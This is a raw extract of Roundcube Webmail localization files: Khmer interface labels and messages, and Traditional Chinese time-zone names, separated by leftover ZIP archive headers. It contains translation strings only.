$labels['spellcheckbeforesend'] = 'ពិនិត្យ​អក្ខរាវិរុទ្ធ​មុន​នឹង​ផ្ញើ​សារ';
$labels['allmessages'] = 'សារ​ទាំង​អស់';
$labels['folder'] = 'ថត';
$labels['folders'] = 'ថតទាំងអស់';
$labels['foldername'] = 'ឈ្មោះថត';
$labels['subscribed'] = 'កំណត់យកមកប្រើ';
$labels['messagecount'] = 'សំបុត្រ';
$labels['create'] = 'បង្កើត';
$labels['createfolder'] = 'បង្កើតថតថ្មី';
$labels['managefolders'] = 'រៀបចំថត';
$labels['specialfolders'] = 'ថតពិសេស';
$labels['properties'] = 'ព័ត៌មាន';
$labels['folderproperties'] = 'ព័ត៌មានអំពីថត';
$labels['parentfolder'] = 'ថតមេ';
$labels['location'] = 'ទីកន្លែង';
$labels['info'] = 'ព័ត៌មាន';
$labels['getfoldersize'] = 'ទំហំថត';
$labels['changesubscription'] = 'ផ្លាស់ប្តូរការជាវ';
$labels['personalfolder'] = 'ថត​ឯកជន';
$labels['otherfolder'] = 'ថត​របស់​អ្នក​ប្រើប្រាស់​ផ្សេង​ទៀត';
$labels['sharedfolder'] = 'ថត​សាធារណៈ';
$labels['sortby'] = 'តំរៀបតាម';
$labels['sortasc'] = 'តំរៀបតាមលំដាប់ចុះ';
$labels['sortdesc'] = 'តំរៀបតាមលំដាប់ឡើង';
$labels['license'] = 'អាជ្ញាប័ណ្ណ';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'យូនីកូដ';
$labels['english'] = 'ភាសាអង់គ្លេស';
$labels['westerneuropean'] = 'អឺរ៉ុបខាងលិច';
$labels['easterneuropean'] = 'អីរ៉ុបខាងកើត';
$labels['southeasterneuropean'] = 'អឺរ៉ុបភាគអាគ្នេយ៍';
$labels['baltic'] = 'ភាសាបាល់តិក';
$labels['cyrillic'] = 'ភាសាស៊ីរីលិក';
$labels['arabic'] = 'ភាសាអារ៉ាប់';
$labels['greek'] = 'ភាសាក្រិក';
$labels['hebrew'] = 'ភាសាហ៊ីបប្រ៊ូ';
$labels['turkish'] = 'ភាសាទួរគី';
$labels['nordic'] = 'ភាសាណរឌីក';
$labels['thai'] = 'ភាសាថៃ';
$labels['celtic'] = 'ភាសាសេលតិច';
$labels['vietnamese'] = 'ភាសាវៀតណាម';
$labels['japanese'] = 'ភាសាជប៉ុន';
$labels['korean'] = 'ភាសាកូរ៉េ';
$labels['chinese'] = 'ភាសាចិន';
PK
h�\u�>�;�;'program/localization/km_KH/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'មាន​បញ្ហា​បាន​កើត​ឡើង!';
$messages['loginfailed']  = 'បាន​បរាជ័យ​ក្នុង​ការ​ចូល។';
$messages['cookiesdisabled'] = 'កម្មវិធី​អ៊ីនធឺណិត​របស់​អ្នក​មិន​ទទួល​ខូគី​ទេ។';
$messages['sessionerror'] = 'សម័យ​របស់​អ្នក​មិន​ត្រឹម​ត្រូវ ឬ​ផុត​កំណត់។';
$messages['storageerror'] = 'មិន​អាច​តភ្ជាប់​ទៅ​ម៉ាស៊ីន​ឃ្លាំង​ផ្ទុក។';
$messages['servererror'] = 'ម៉ាស៊ីន​មេ​មាន​បញ្ហា!';
$messages['servererrormsg'] = 'បញ្ហា: $msg';
$messages['dberror'] = 'កំហុស​មូលដ្ឋាន​ទិន្នន័យ!';
$messages['requesttimedout'] = 'សំណើ​អស់​ពេល';
$messages['errorreadonly'] = 'មិនអាចប្រតិបត្តិបានពីព្រោះថតនេះត្រូវបានគេកំណត់សំរាប់តែមើល';
$messages['errornoperm'] = 'មិនអាចប្រតិបត្តិបានពីព្រោះមិនមានសិទ្ទគ្រប់គ្រាន់';
$messages['invalidrequest'] = 'មិនអាចរក្សាទុកទិន្នន័យបានពីព្រោះមានបញ្ហានៅពេលបញ្ជូនទិន្នន័យ';
$messages['invalidhost'] = 'ឈ្មោះ​ម៉ាស៊ីន​មេ​មិន​ត្រឹមត្រូវ។';
$messages['nomessagesfound'] = 'ពុំមានសំបុត្រក្នុងប្រអប់សំបុត្រនេះទេ';
$messages['refreshing'] = 'កំពុង​ផ្ទុកឡើងវិញ...';
$messages['loading'] = 'កំពុងដំណើរការ...';
$messages['uploading'] = 'កំពុងបញ្ជូនឯកសារ...';
$messages['uploadingmany'] = 'កំពុង​ផ្ទុកឯកសារ​ឡើង...';
$messages['loadingdata'] = 'កំពុងបើកឯកសារ...';
$messages['checkingmail'] = 'កំពុងស្វែងរកមើលសំបុត្រថ្មី៝...';
$messages['sendingmessage'] = 'កំពុងផ្ញើសំបុត្រ...';
$messages['messagesent'] = 'សំបុត្រត្រូវបានបញ្ជូនដោយជោគជ័យ!';
$messages['savingmessage'] = 'កំពុងរក្សាសំបុត្រទុក...';
$messages['messagesaved'] = 'សំបុត្រត្រូវបានរក្សាទុកក្នុងថតពង្រៀង';
$messages['successfullysaved'] = 'រក្សាទុកដោយជោគជ័យ';
$messages['addedsuccessfully'] = 'អាសយដ្ឋានត្រូវបានរក្សាទុកដោយជោគជ័យ';
$messages['contactnameexists'] = 'មាន​ទំនាក់ទំនង​ដែលមាន​ឈ្មោះ​ដូច​គ្នា​នេះ​រួច​ហើយ។';
$messages['blockedimages'] = 'រូបភាពដែលមានក្នុងសំបុត្រនេះត្រូវបានបិទដើម្បីរក្សាសុវត្ថភាព';
$messages['encryptedmessage'] = 'លោកអ្នកមិនអាចមើលសំបុត្រនេះបានទេពីព្រោះសំបុត្រនេះជាសំបុត្រសំងាត់';
$messages['nocontactsfound'] = 'ពុំមានអាសយដ្ឋានទាក់ទងទេ';
$messages['contactnotfound'] = 'អាសយដ្ឋានទាក់ទងដែលលោកអ្នកចង់រកពុំមានឡើយ';
$messages['sendingfailed'] = 'មិនអាចផ្ញើសំបុត្របាន';
$messages['senttooquickly'] = 'សូមរងចាំ $sec វិនាទីមុននឹងផ្ញើសំបុត្រនេះ';
$messages['errormoving'] = 'មិនអាចផ្ទេរសំបុត្របាន';
$messages['errorcopying'] = 'មិនអាចចំលងសំបុត្របាន';
$messages['errordeleting'] = 'មិនអាចលុបសំបុត្រចោលបាន';
$messages['errormarking'] = 'មិនអាចកំណត់ចំណាំលើសំបុត្របាន';
$messages['deletecontactconfirm']  = 'តើលោកអ្នកពិតជាចង់លុបព័ត៌មានទំនាក់ទំនងនេះមែនទេ?';
$messages['deletegroupconfirm']  = 'តើអ្នកពិត​ជា​ចង់លុប​ក្រុម​បានជ្រើស?';
$messages['deletemessagesconfirm'] = 'តើលោកអ្នកពិតជាចង់លុបសំបុត្រនេះមែនទេ?';
$messages['deletefolderconfirm']  = 'តើលោកអ្នកពិតជាចង់លុបថតនេះមែនទេ?';
$messages['purgefolderconfirm']  = 'តើលោកអ្នកពិតជាចង់លុបសំបុត្រទាំងអស់នៅក្នុងថតនេះមែនទេ?';
$messages['contactdeleting'] = 'កំពុង​លុប​ទំនាក់ទំនង...';
$messages['groupdeleting'] = 'កំពុង​លុប​ក្រុម...';
$messages['folderdeleting'] = 'កំពុងលុបថតសំរាប់ទុកឯកសារ...';
$messages['foldermoving'] = 'កំពុងផ្ទេរថតសំរាប់ទុកឯកសារ...';
$messages['foldersubscribing'] = 'កំពុងកំណត់ប្រើថតសំរាប់ទុកឯកសារ...';
$messages['folderunsubscribing'] = 'កំពុងកំណត់មិនប្រើថតសំរាប់ទុកឯកសារ...';
$messages['formincomplete'] = 'សូមបំពេញទិន្នន័យអោយបានគ្រប់';
$messages['noemailwarning'] = 'អ៊ីមែលត្រឹមត្រូវ';
$messages['nonamewarning']  = 'សូមសរសេរឈ្មោះរបស់អ្នក';
$messages['nopagesizewarning'] = 'សូមកំណត់ទំហំទំព័រ';
$messages['norecipientwarning'] = 'សូមសរសេរអ្នកទទួលយ៉ាងហោចណាស់ម្នាក់';
$messages['nosubjectwarning']  = 'សំបុត្រគ្មានចំណងជើងតើអ្នកចង់សរសេរចំណងជើងនៅពេលនេះទេ?';
$messages['nobodywarning'] = 'តើលោកអ្នកចង់ផ្ញើសំបុត្រដែលគ្មានតួអត្ថបទសំបុត្រទេ?';
$messages['nosearchname'] = 'សូមបំពេញឈ្មោះទំនាក់ទំនង ឬអាសយដ្ឋានអ៊ីមែល';
$messages['notuploadedwarning'] = 'ឯកសារ​ភ្ជាប់​ទាំង​អស់​មិន​ត្រូវ​បាន​ផ្ទុក​ឡើង​នៅឡើយ​ទេ។ សូម​រង់ចាំ​ ឬ​បោះបង់​ការ​​ផ្ទុក​ឡើង។';
$messages['searchsuccessful'] = 'រកឃើញសំបុត្រចំនួន $nr';
$messages['contactsearchsuccessful'] = 'រក​ឃើញ​ទំនាក់ទំនង $nr ។';
$messages['searchnomatch'] = 'រកមិនឃើញអ្វីទាំងអស់';
$messages['searching'] = 'កំពុងស្វែងរក...';
$messages['checking'] = 'កំពុងពិនិត្យរក...';
$messages['nospellerrors'] = 'គ្មានកំហុសអក្ខរាវិរុទ្ធទេ';
$messages['folderdeleted'] = 'លុបថតបានដោយជោគជ័យ';
$messages['foldersubscribed'] = 'អាចកំណត់ប្រើថតបានដោយជោគជ័យ';
$messages['folderunsubscribed'] = 'កំណត់លែងប្រើថតបានដោយជោគជ័យ';
$messages['deletedsuccessfully'] = 'លុបបានដោយជោគជ័យ';
$messages['converting'] = 'កំពុងលុបការរចនាចោល...';
$messages['messageopenerror'] = 'មិនអាចទាញយកសំបុត្រពីម៉ាស៊ីនមេបានទេ';
$messages['fileuploaderror'] = 'មិនអាចបញ្ជូលភ្ជាប់ឯកសារ';
$messages['filesizeerror'] = 'ទំហំឯកសារត្រូវបញ្ជូនលើសចំណុះទំហំធំបំផុតគឺ $size';
$messages['sourceisreadonly'] = 'លោកអ្នកមានសិទ្ធត្រឹមតែមើលប្រភពនៃអាសយដ្ឋាននេះ';
$messages['errorsavingcontact'] = 'មិនអាចរក្សាអាសយដ្ឋានបានទេ';
$messages['movingmessage'] = 'កំពុកផ្តេរសំបុត្រ...';
$messages['copyingmessage'] = 'កំពុងចំលងសំបុត្រ...';
$messages['copyingcontact'] = 'កំពុង​ចម្លង​ទំនាក់ទំនង...';
$messages['deletingmessage'] = 'កំពុងលុបសំបុត្រ...';
$messages['markingmessage'] = 'កំពុងកំណត់សំគាល់សំបុត្រ...';
$messages['addingmember'] = 'កំពុង​បន្ថែម​ទំនាក់ទំនង​ទៅ​ក្រុម...';
$messages['removingmember'] = 'កំពុង​លុបទំនាក់ទំនង​ពី​ក្រុម...';
$messages['receiptsent'] = 'បានបញ្ជូនអត្ថបទបញ្ជាក់ថាបានអានបានសំរេច';
$messages['errorsendingreceipt'] = 'មិនអាចបញ្ជូនអត្ថបទបញ្ជាក់ថាបានអាន ទេ';
$messages['deleteidentityconfirm'] = 'តើអ្នក​ពិត​ជា​ចង់​លុប​អត្តសញ្ញាណ​នេះ?';
$messages['nodeletelastidentity'] = 'លោកអ្នកមិនអាចលុបអត្តសញ្ញាណនេះទេព្រោះវានៅសល់ចុងក្រោយគេ';
$messages['forbiddencharacter'] = 'ឈ្មោះថតនេះមានអក្សរដែលត្រូវហាមឃាត់';
$messages['selectimportfile'] = 'សូមជ្រើសរើសឯកសារដើម្បីបញ្ជូនភ្ជាប់';
$messages['addresswriterror'] = 'សៀវភៅអាសយដ្ឋាននោះមិនអាចសរសេរចូលបានទេ';
$messages['contactaddedtogroup'] = 'បានដាក់ពត៌មានទំនាក់ទំនងចូលក្នុងក្រុមនេះដោយជោគជ័យ';
$messages['contactremovedfromgroup'] = 'បានលុបពត៌មានទំនាក់ទំនងចេញពីក្រុមនេះដោយជោគជ័យ';
$messages['nogroupassignmentschanged'] = 'គ្មាន​ការ​ផ្ដល់​ក្រុម​បាន​ប្ដូរ។';
$messages['importwait'] = 'សូមមេត្តារង់ចាំកំពុងទាញទិន្នន័យចូល ...';
$messages['importconfirm'] = '<b>ព័ត៌មានទំនាក់ទំនង $insertedបានបញ្ចូលដោយជោគជ័យ,ហើយបានរំលងចោលពត៌មានដែលមានស្រាប់$skipped </b>:<p><em>$names</em></p>';
$messages['opnotpermitted'] = 'ប្រតិ្តបត្តិការត្រូវបានគេហាមឃាត់!';
$messages['smtpconnerror'] = 'SMTP Error ($code):មិនអាចភ្ជាប់ទៅម៉ាស៊ីនមេ';
$messages['smtpautherror'] = 'SMTP Error ($code):ព័ត៌មានគនីយមិនត្រឹមត្រូវ';
$messages['smtpfromerror'] = 'SMTP Error ($code):មិនអាចកំនត់អ្នកផ្ញើ "$from" ($msg)';
$messages['smtptoerror'] = 'SMTP Error ($code):មិនអាចកំនត់អ្នកទទួល "$to" ($msg)';
$messages['smtprecipientserror'] = 'SMTP Error:មិនអាចបំលែងបញ្ជីអ្នកទទួល';
$messages['smtperror'] = 'SMTP Error: $msg';
$messages['toomanyrecipients'] = 'ចំនួនអ្នកទទួលច្រើនលើសកំនត់!សូមមេត្តាលុបចោលរហូតដល់ $max។';
$messages['maxgroupmembersreached'] = 'ចំនួនក្រុមលើសកំនត់ហើយចំនួនច្រើនបំផុតគឺ $max';
$messages['contactdelerror'] = 'មិនអាចលុបអាសយដ្ឋានទំនាក់ទំនង';
$messages['contactdeleted'] = 'អាសយដ្ឋានទំនាក់ទំនងត្រូវបានលុបដោយជោគជ័យ';
$messages['groupdeleted'] = 'លុបក្រុមបានដោយជោគជ័យ';
$messages['grouprenamed'] = 'ប្តូរឈ្មោះក្រុមបានដោយជោគជ័យ';
$messages['groupcreated'] = 'បង្កើតក្រុមបានដោយជោគជ័យ';
$messages['messagedeleted'] = 'លុបសំបុត្របានដោយជោគជ័យ';
$messages['messagemoved'] = 'ផ្ទេរសំបុត្របានដោយជោគជ័យ';
$messages['messagecopied'] = 'ចំលងសំបុត្របានដោយជោគជ័យ';
$messages['messagemarked'] = 'កំណត់សំគាល់សំបុត្របានដោយជោគជ័យ';
$messages['autocompletechars'] = 'សូមសរសេរអក្សរយ៉ាងតិច $minដើម្បីបង្ហាយដោយស្វ័យប្រវត្តិ';
$messages['namecannotbeempty'] = 'សូមសរសេរឈ្មោះ';
$messages['nametoolong'] = 'ឈ្មោះវែងពេក';
$messages['folderupdated'] = 'ផ្លាស់ប្តូរថតបានដោយជោគជ័យ';
$messages['foldercreated'] = 'បង្កើតថតបានដោយជោគជ័យ';
$messages['invalidimageformat'] = 'ប្រភេទរូបភាពមិនត្រឹមត្រូវ';
PK
h�\ˆe!S!S(program/localization/zh_TW/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = '非洲';
$labels['tz:africa:abidjan'] = '阿必尚';
$labels['tz:africa:accra'] = '阿克拉';
$labels['tz:africa:addis_ababa'] = '阿迪斯阿貝巴';
$labels['tz:africa:algiers'] = '阿爾及爾';
$labels['tz:africa:asmara'] = '阿斯馬拉';
$labels['tz:africa:bamako'] = '巴馬科';
$labels['tz:africa:bangui'] = '班基';
$labels['tz:africa:banjul'] = '班竹';
$labels['tz:africa:bissau'] = '比索';
$labels['tz:africa:blantyre'] = '布蘭岱';
$labels['tz:africa:brazzaville'] = '布拉薩市';
$labels['tz:africa:bujumbura'] = '布松布拉';
$labels['tz:africa:cairo'] = '開羅';
$labels['tz:africa:casablanca'] = '卡薩布蘭卡';
$labels['tz:africa:ceuta'] = '休達';
$labels['tz:africa:conakry'] = '科奈克里';
$labels['tz:africa:dakar'] = '達卡';
$labels['tz:africa:dar_es_salaam'] = '三蘭港';
$labels['tz:africa:djibouti'] = '吉布地';
$labels['tz:africa:douala'] = '杜阿拉';
$labels['tz:africa:el_aaiun'] = '阿尤恩';
$labels['tz:africa:freetown'] = '自由城';
$labels['tz:africa:gaborone'] = '嘉柏隆里';
$labels['tz:africa:harare'] = '哈拉雷';
$labels['tz:africa:johannesburg'] = '約翰尼斯堡';
$labels['tz:africa:juba'] = '朱巴';
$labels['tz:africa:kampala'] = '坎帕拉';
$labels['tz:africa:khartoum'] = '喀土木';
$labels['tz:africa:kigali'] = '吉佳利';
$labels['tz:africa:kinshasa'] = '金夏沙';
$labels['tz:africa:lagos'] = '拉哥斯';
$labels['tz:africa:libreville'] = '自由市';
$labels['tz:africa:lome'] = '洛美';
$labels['tz:africa:luanda'] = '羅安達';
$labels['tz:africa:lubumbashi'] = '盧本巴希';
$labels['tz:africa:lusaka'] = '路沙卡';
$labels['tz:africa:malabo'] = '馬拉博';
$labels['tz:africa:maputo'] = '馬布多';
$labels['tz:africa:maseru'] = '馬塞盧';
$labels['tz:africa:mbabane'] = '墨巴本';
$labels['tz:africa:mogadishu'] = '摩加迪休';
$labels['tz:africa:monrovia'] = '蒙羅維亞';
$labels['tz:africa:nairobi'] = '奈洛比';
$labels['tz:africa:ndjamena'] = '恩將納';
$labels['tz:africa:niamey'] = '尼阿美';
$labels['tz:africa:nouakchott'] = '諾克少';
$labels['tz:africa:ouagadougou'] = '瓦加杜古';
$labels['tz:africa:porto-novo'] = '新港';
$labels['tz:africa:sao_tome'] = '聖多美';
$labels['tz:africa:tripoli'] = '的黎波里';
$labels['tz:africa:tunis'] = '突尼斯';
$labels['tz:africa:windhoek'] = '溫荷克';
$labels['tz:america'] = '美洲';
$labels['tz:america:adak'] = '埃達克';
$labels['tz:america:anchorage'] = '安克拉治';
$labels['tz:america:anguilla'] = '安圭拉';
$labels['tz:america:antigua'] = '安地卡島';
$labels['tz:america:araguaina'] = '阿拉瓜伊納';
$labels['tz:america:argentina'] = '阿根廷';
$labels['tz:america:argentina:buenos_aires'] = '布宜諾斯艾利斯';
$labels['tz:america:argentina:catamarca'] = '卡塔馬卡';
$labels['tz:america:argentina:cordoba'] = '哥多華';
$labels['tz:america:argentina:jujuy'] = '胡胡伊';
$labels['tz:america:argentina:la_rioja'] = '拉里奧哈';
$labels['tz:america:argentina:mendoza'] = '門多薩';
$labels['tz:america:argentina:rio_gallegos'] = '里奧加耶戈斯';
$labels['tz:america:argentina:salta'] = '薩爾塔';
$labels['tz:america:argentina:san_juan'] = '聖胡安';
$labels['tz:america:argentina:san_luis'] = '聖路易';
$labels['tz:america:argentina:tucuman'] = '德圖庫曼';
$labels['tz:america:argentina:ushuaia'] = '烏蘇懷亞';
$labels['tz:america:aruba'] = '阿魯巴';
$labels['tz:america:asuncion'] = '亞松森';
$labels['tz:america:atikokan'] = '阿蒂科肯';
$labels['tz:america:bahia'] = '巴伊亞州';
$labels['tz:america:bahia_banderas'] = '班德拉斯灣';
$labels['tz:america:barbados'] = '巴貝多';
$labels['tz:america:belem'] = '貝倫區';
$labels['tz:america:belize'] = '貝里斯';
$labels['tz:america:blanc-sablon'] = '布朗薩布隆';
$labels['tz:america:boa_vista'] = '博阿維斯塔';
$labels['tz:america:bogota'] = '波哥大';
$labels['tz:america:boise'] = '波夕';
$labels['tz:america:cambridge_bay'] = '劍橋灣';
$labels['tz:america:campo_grande'] = '格蘭德營';
$labels['tz:america:cancun'] = '坎昆';
$labels['tz:america:caracas'] = '卡拉卡斯';
$labels['tz:america:cayenne'] = '開雲';
$labels['tz:america:cayman'] = '開曼群島';
$labels['tz:america:chicago'] = '芝加哥';
$labels['tz:america:chihuahua'] = '契瓦瓦';
$labels['tz:america:costa_rica'] = '哥斯大黎加';
$labels['tz:america:creston'] = '克雷斯頓';
$labels['tz:america:cuiaba'] = '庫亞巴';
$labels['tz:america:curacao'] = '古拉索';
$labels['tz:america:danmarkshavn'] = '丹麥港';
$labels['tz:america:dawson'] = '道森市';
$labels['tz:america:dawson_creek'] = '道森河市';
$labels['tz:america:denver'] = '丹佛市';
$labels['tz:america:detroit'] = '底特律';
$labels['tz:america:dominica'] = '多米尼加';
$labels['tz:america:edmonton'] = '艾德蒙頓';
$labels['tz:america:eirunepe'] = '埃魯內佩';
$labels['tz:america:el_salvador'] = '薩爾瓦多';
$labels['tz:america:fort_nelson'] = '納爾遜堡';
$labels['tz:america:fortaleza'] = '福塔萊薩';
$labels['tz:america:glace_bay'] = '格萊斯貝';
$labels['tz:america:godthab'] = '努克';
$labels['tz:america:goose_bay'] = '古斯貝';
$labels['tz:america:grand_turk'] = '大特克島';
$labels['tz:america:grenada'] = '格瑞那達';
$labels['tz:america:guadeloupe'] = '瓜德羅普';
$labels['tz:america:guatemala'] = '瓜地馬拉';
$labels['tz:america:guayaquil'] = '瓜亞基爾';
$labels['tz:america:guyana'] = '蓋亞那';
$labels['tz:america:halifax'] = '哈里法克斯';
$labels['tz:america:havana'] = '夏灣拿';
$labels['tz:america:hermosillo'] = '埃莫西約';
$labels['tz:america:indiana'] = '印第安納州';
$labels['tz:america:indiana:indianapolis'] = '印第安納波利斯';
$labels['tz:america:indiana:knox'] = '諾克斯';
$labels['tz:america:indiana:marengo'] = '馬倫哥';
$labels['tz:america:indiana:petersburg'] = '彼得斯堡';
$labels['tz:america:indiana:tell_city'] = '特爾城';
$labels['tz:america:indiana:vevay'] = '韋韋';
$labels['tz:america:indiana:vincennes'] = '文森';
$labels['tz:america:indiana:winamac'] = '威納馬克';
$labels['tz:america:inuvik'] = '因紐維克';
$labels['tz:america:iqaluit'] = '伊魁特';
$labels['tz:america:jamaica'] = '牙買加';
$labels['tz:america:juneau'] = '朱諾';
$labels['tz:america:kentucky'] = '肯塔基州';
$labels['tz:america:kentucky:louisville'] = '路易斯維爾';
$labels['tz:america:kentucky:monticello'] = '蒙蒂塞洛';
$labels['tz:america:kralendijk'] = '克拉倫代克';
$labels['tz:america:la_paz'] = '拉巴斯';
$labels['tz:america:lima'] = '利馬';
$labels['tz:america:los_angeles'] = '洛杉磯';
$labels['tz:america:lower_princes'] = '下太子';
$labels['tz:america:maceio'] = '馬塞約';
$labels['tz:america:managua'] = '馬拿瓜';
$labels['tz:america:manaus'] = '瑪瑙斯';
$labels['tz:america:marigot'] = '馬里戈';
$labels['tz:america:martinique'] = '馬丁尼克';
$labels['tz:america:matamoros'] = '馬塔莫羅斯';
$labels['tz:america:mazatlan'] = '馬薩特蘭';
$labels['tz:america:menominee'] = '梅諾米尼';
$labels['tz:america:merida'] = '美利達';
$labels['tz:america:metlakatla'] = '梅特拉卡特拉';
$labels['tz:america:mexico_city'] = '墨西哥城';
$labels['tz:america:miquelon'] = '密克隆';
$labels['tz:america:moncton'] = '蒙克頓';
$labels['tz:america:monterrey'] = '蒙特雷';
$labels['tz:america:montevideo'] = '蒙特維多';
$labels['tz:america:montserrat'] = '蒙哲臘';
$labels['tz:america:nassau'] = '拿索';
$labels['tz:america:new_york'] = '紐約';
$labels['tz:america:nipigon'] = '尼皮貢';
$labels['tz:america:nome'] = '諾米';
$labels['tz:america:noronha'] = '羅尼亞';
$labels['tz:america:north_dakota'] = '北達科他';
$labels['tz:america:north_dakota:beulah'] = '比尤拉';
$labels['tz:america:north_dakota:center'] = '森特';
$labels['tz:america:north_dakota:new_salem'] = '新薩勒姆';
$labels['tz:america:ojinaga'] = '奧希納加';
$labels['tz:america:panama'] = '巴拿馬';
$labels['tz:america:pangnirtung'] = '龐納唐';
$labels['tz:america:paramaribo'] = '巴拉馬利波';
$labels['tz:america:phoenix'] = '鳳凰城';
$labels['tz:america:port-au-prince'] = '太子港';
$labels['tz:america:port_of_spain'] = '西班牙港';
$labels['tz:america:porto_velho'] = '韋柳港';
$labels['tz:america:puerto_rico'] = '波多黎各';
$labels['tz:america:rainy_river'] = '雷尼河';
$labels['tz:america:rankin_inlet'] = '蘭金因萊特';
$labels['tz:america:recife'] = '李斯腓';
$labels['tz:america:regina'] = '利載拿';
$labels['tz:america:resolute'] = '瑞瑟魯特';
$labels['tz:america:rio_branco'] = '里約布蘭科';
$labels['tz:america:santarem'] = '聖塔倫';
$labels['tz:america:santiago'] = '聖地亞哥';
$labels['tz:america:santo_domingo'] = '聖多明哥';
$labels['tz:america:sao_paulo'] = '聖保羅';
$labels['tz:america:scoresbysund'] = '斯科斯比松';
$labels['tz:america:sitka'] = '矽地卡';
$labels['tz:america:st_barthelemy'] = '聖巴泰勒米';
$labels['tz:america:st_johns'] = "聖約翰斯";
$labels['tz:america:st_kitts'] = '聖基茨島';
$labels['tz:america:st_lucia'] = '聖盧西亞';
$labels['tz:america:st_thomas'] = '聖湯瑪士';
$labels['tz:america:st_vincent'] = '聖文森';
$labels['tz:america:swift_current'] = '斯威夫特卡倫特';
$labels['tz:america:tegucigalpa'] = '特古西加爾巴';
$labels['tz:america:thule'] = '圖勒';
$labels['tz:america:thunder_bay'] = '雷霆灣';
$labels['tz:america:tijuana'] = '提華納';
$labels['tz:america:toronto'] = '多倫多';
$labels['tz:america:tortola'] = '托爾托拉島';
$labels['tz:america:vancouver'] = '溫哥華';
$labels['tz:america:whitehorse'] = '白馬市';
$labels['tz:america:winnipeg'] = '溫尼辟';
$labels['tz:america:yakutat'] = '溫尼辟';
$labels['tz:america:yellowknife'] = '黃刀鎮';
$labels['tz:antarctica'] = '南極洲';
$labels['tz:antarctica:casey'] = '凱西站';
$labels['tz:antarctica:davis'] = '戴維斯站';
$labels['tz:antarctica:dumontdurville'] = "迪蒙·迪維爾站";
$labels['tz:antarctica:macquarie'] = '麥格理站';
$labels['tz:antarctica:mawson'] = '莫森站';
$labels['tz:antarctica:mcmurdo'] = '麥克默多站';
$labels['tz:antarctica:palmer'] = '帕爾默';
$labels['tz:antarctica:rothera'] = '羅瑟拉站';
$labels['tz:antarctica:syowa'] = '昭和基地';
$labels['tz:antarctica:troll'] = '特洛站';
$labels['tz:antarctica:vostok'] = '沃斯托克站';
$labels['tz:arctic'] = '北極';
$labels['tz:arctic:longyearbyen'] = '隆雅市';
$labels['tz:asia'] = '亞洲';
$labels['tz:asia:aden'] = '亞丁';
$labels['tz:asia:almaty'] = '阿拉木圖';
$labels['tz:asia:amman'] = '安曼';
$labels['tz:asia:anadyr'] = '阿那底';
$labels['tz:asia:aqtau'] = '阿克套';
$labels['tz:asia:aqtobe'] = '阿克托比';
$labels['tz:asia:ashgabat'] = '阿什哈巴德';
$labels['tz:asia:atyrau'] = '阿特勞';
$labels['tz:asia:baghdad'] = '巴格達';
$labels['tz:asia:bahrain'] = '巴林';
$labels['tz:asia:baku'] = '巴庫';
$labels['tz:asia:bangkok'] = '曼谷';
$labels['tz:asia:barnaul'] = '巴爾瑙爾';
$labels['tz:asia:beirut'] = '貝魯特';
$labels['tz:asia:bishkek'] = '比什凱克';
$labels['tz:asia:brunei'] = '汶萊';
$labels['tz:asia:chita'] = '赤塔';
$labels['tz:asia:choibalsan'] = '喬巴山';
$labels['tz:asia:colombo'] = '科倫坡';
$labels['tz:asia:damascus'] = '大馬士革';
$labels['tz:asia:dhaka'] = '達卡';
$labels['tz:asia:dili'] = '帝力';
$labels['tz:asia:dubai'] = '杜拜';
$labels['tz:asia:dushanbe'] = '杜尚別';
$labels['tz:asia:famagusta'] = '法馬古斯塔';
$labels['tz:asia:gaza'] = '加薩';
$labels['tz:asia:hebron'] = '希伯崙';
$labels['tz:asia:ho_chi_minh'] = '胡志明市';
$labels['tz:asia:hong_kong'] = '香港';
$labels['tz:asia:hovd'] = '科布多';
$labels['tz:asia:irkutsk'] = '伊爾庫次克';
$labels['tz:asia:jakarta'] = '耶加達';
$labels['tz:asia:jayapura'] = '查亞普拉';
$labels['tz:asia:jerusalem'] = '耶路撒冷';
$labels['tz:asia:kabul'] = '喀布爾';
$labels['tz:asia:kamchatka'] = '堪察加';
$labels['tz:asia:karachi'] = '卡拉奇';
$labels['tz:asia:kathmandu'] = '加德滿都';
$labels['tz:asia:khandyga'] = '肯德瓦';
$labels['tz:asia:kolkata'] = '加爾各答';
$labels['tz:asia:krasnoyarsk'] = '克拉斯諾雅斯克';
$labels['tz:asia:kuala_lumpur'] = '吉隆坡';
$labels['tz:asia:kuching'] = '古晉';
$labels['tz:asia:kuwait'] = '科威特';
$labels['tz:asia:macau'] = '澳門';
$labels['tz:asia:magadan'] = '馬加丹';
$labels['tz:asia:makassar'] = '望加錫';
$labels['tz:asia:manila'] = '馬尼拉';
$labels['tz:asia:muscat'] = '馬斯喀特';
$labels['tz:asia:nicosia'] = '尼科西亞';
$labels['tz:asia:novokuznetsk'] = '新庫斯內次';
$labels['tz:asia:novosibirsk'] = '新西伯利亞';
$labels['tz:asia:omsk'] = '鄂木斯克';
$labels['tz:asia:oral'] = '烏拉爾';
$labels['tz:asia:phnom_penh'] = '金邊';
$labels['tz:asia:pontianak'] = '坤甸';
$labels['tz:asia:pyongyang'] = '平壤';
$labels['tz:asia:qatar'] = '卡塔爾';
$labels['tz:asia:qyzylorda'] = '克孜勒奧爾達';
$labels['tz:asia:riyadh'] = '利雅得';
$labels['tz:asia:sakhalin'] = '庫頁島';
$labels['tz:asia:samarkand'] = '撒馬爾罕';
$labels['tz:asia:seoul'] = '首爾';
$labels['tz:asia:shanghai'] = '上海';
$labels['tz:asia:singapore'] = '新加坡';
$labels['tz:asia:srednekolymsk'] = '中科雷姆斯克';
$labels['tz:asia:taipei'] = '台北';
$labels['tz:asia:tashkent'] = '塔什干';
